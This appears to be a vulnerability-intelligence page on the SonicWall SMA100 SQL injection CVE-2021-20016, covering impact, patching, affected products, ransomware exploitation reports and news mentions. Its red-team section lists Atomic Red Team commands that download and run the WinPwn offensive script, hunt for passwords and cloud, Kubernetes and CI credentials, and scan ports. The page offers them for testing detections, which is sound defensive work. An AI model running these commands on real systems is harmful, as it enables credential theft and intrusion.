CVE-2021-20016
Overview
This vulnerability is a SQL Injection flaw rooted in improper sanitization of user-supplied input within the SonicWall SSLVPN SMA100 firmware. The affected component processes SQL queries without adequate validation, allowing injection of malicious SQL commands. Specifically, the SMA100 build version 10.x's backend database query mechanism fails to correctly handle crafted input, enabling unauthorized query execution.
Vulnerability Description
A SQL-Injection vulnerability in the SonicWall SSLVPN SMA100 product allows a remote unauthenticated attacker to perform SQL query to access username password and other session related information. This vulnerability impacts SMA100 build version 10.x.
Impact
An unauthenticated attacker can exploit this vulnerability to extract sensitive credentials and session data from the SonicWall SMA100 device's backend database. This unauthorized data access can lead to credential compromise, unauthorized system access, and potential lateral movement within the network. No user interaction or prior authentication is required, increasing the risk of widespread exploitation and data breach in affected environments.
Solution
SonicWall has released security updates addressing this vulnerability in the SMA100 firmware version 10.x. Administrators should apply the patches as detailed in the SonicWall PSIRT advisory SNWLID-2021-0001 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001. Following the vendor's instructions to upgrade to the fixed firmware version is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sonicwall | Sma 100 Firmware | All |
cpe:2.3:o:sonicwall:sma_100_firmware:*:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 200 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_200_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 210 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_210_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 400 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_400_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 410 Firmware | N/A |
cpe:2.3:o:sonicwall:sma_410_firmware:-:*:*:*:*:*:*:*
|
|
|
Sonicwall | Sma 500v | N/A |
cpe:2.3:a:sonicwall:sma_500v:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Ransomware Groups 1
Threat Feed
11 eventsRansomware group known to exploit this vulnerability (274 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 29 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (21)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @vulnsea.com 2026-08-12 20:08 UTC🌑 HADAL · actively exploited critical CVE-2021-20016: A SQL-Injection vulnerability in the SonicWall SSLVPN SMA100 product allows a remote unauthenticated attacker to perfo… CVSS 9.8 · EPSS 37.0% · CISA KEV · 0day https://beta.vulnsea.com/…Open source
-
news cyberscoop.com 2025-08-05 07:00 UTCSonicWall firewalls hit by active mass exploitation of suspected zero-day - CyberScoopOpen source
-
social bsky.app @hacker.at.thenote.app 2025-05-15 23:18 UTCWeb Scanning SonicWall for CVE-2021-20016 - Update, (Wed, May 14th) I published on the 29 Apr 2025 a diary [1] on scanning activity looking for SonicWall and since this publication this activity has grown 10-fold. Over the past 14 days, se…Open source
-
social bsky.app @cyberbessa.bsky.social 2025-05-15 16:02 UTCWeb scanning activity has surged, targeting the SonicWall CVE-2021-20016 vulnerability, with a tenfold increase in scans over the last two weeks. This trend highlights the persistent interest from threat actors. Monitoring specific subnets…Open source
-
social bsky.app @cti-news.bsky.social 2025-05-15 02:52 UTC📢 Web Scanning SonicWall for CVE-2021-20016 - Update, (Wed, May 14th) https://isc.sans.edu/diary/rss/31952Open source
-
social bsky.app @sansisc.bsky.social 2025-05-15 01:26 UTCWeb Scanning SonicWall for CVE-2021-20016 - Update https://isc.sans.edu/diary/31952Open source
-
social bsky.app @hacker.at.thenote.app 2025-04-30 23:21 UTCWeb Scanning Sonicwall for CVE-2021-20016, (Tue, Apr 29th) There was a post initially published in January 2022 showing an exploitable "probable zero-day vulnerabilities"[1] for Sonicwall but looking back in what has been submitted in the…Open source
-
social bsky.app @cyberbessa.bsky.social 2025-04-30 19:01 UTCSonicWall devices are facing renewed web scanning activity linked to the CVE-2021-20016 vulnerability, with notable IPs probing for unauthorized access. This resurgence highlights potential patch management gaps. It's crucial for organizat…Open source
-
social bsky.app @cti-news.bsky.social 2025-04-30 03:12 UTC📢 Web Scanning Sonicwall for CVE-2021-20016, (Tue, Apr 29th) https://isc.sans.edu/diary/rss/31906Open source
-
social bsky.app @sansisc.bsky.social 2025-04-30 01:26 UTCWeb Scanning Sonicwall for CVE-2021-20016 https://isc.sans.edu/diary/31906Open source
-
news cybersecuritydive.com 2025-01-28 08:00 UTCSonicWall SMA 1000 series appliances left exposed on the internet - Cybersecurity DiveOpen source
-
news cybersecuritydive.com 2025-01-27 08:00 UTCSonicWall warns hackers targeting critical vulnerability in SMA 1000 series appliances - Cybersecurity DiveOpen source
-
news therecord.media 2023-11-08 08:00 UTCNY AG issues $450k penalty to US Radiology after unpatched bug led to ransomware attack - The Record from Recorded Future NewsOpen source
-
news securityaffairs.com 2023-10-09 07:00 UTCThe source code of the 2020 variant of HelloKitty ransomware was leaked on a cybercrime forum - Security AffairsOpen source
-
news security.com 2022-01-19 08:00 UTCThe Threat Landscape in 2021 - SECURITY.COMOpen source
-
news securityaffairs.com 2021-12-15 08:00 UTCFBI’s investigation accidentally revealed the HelloKitty ransomware gang operates out of Ukraine - Security AffairsOpen source
-
advisory blog.qualys.com 2021-11-10 08:00 UTCQualys Response to CISA Alert: Binding Operational Directive 22-01 - QualysOpen source
-
news bleepingcomputer.com 2021-11-01 07:00 UTCFBI: HelloKitty ransomware adds DDoS attacks to extortion tactics - BleepingComputerOpen source
-
news bleepingcomputer.com 2021-09-18 07:00 UTCResearchers compile list of vulnerabilities abused by ransomware gangs - BleepingComputerOpen source
-
advisory unit42.paloaltonetworks.com 2021-07-06 07:00 UTCUnderstanding REvil: REvil Threat Actors May Have Returned (Updated) - Unit 42Open source
-
news crowdstrike.com 2021-06-08 07:00 UTCHow eCrime Groups Leverage an Old SonicWall Vulnerability - CrowdStrikeOpen source
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20016 |
| psirt.global.sonicwall.com |
GitHub CVE
x_refsource_CONFIRM
|
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0001 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20016 |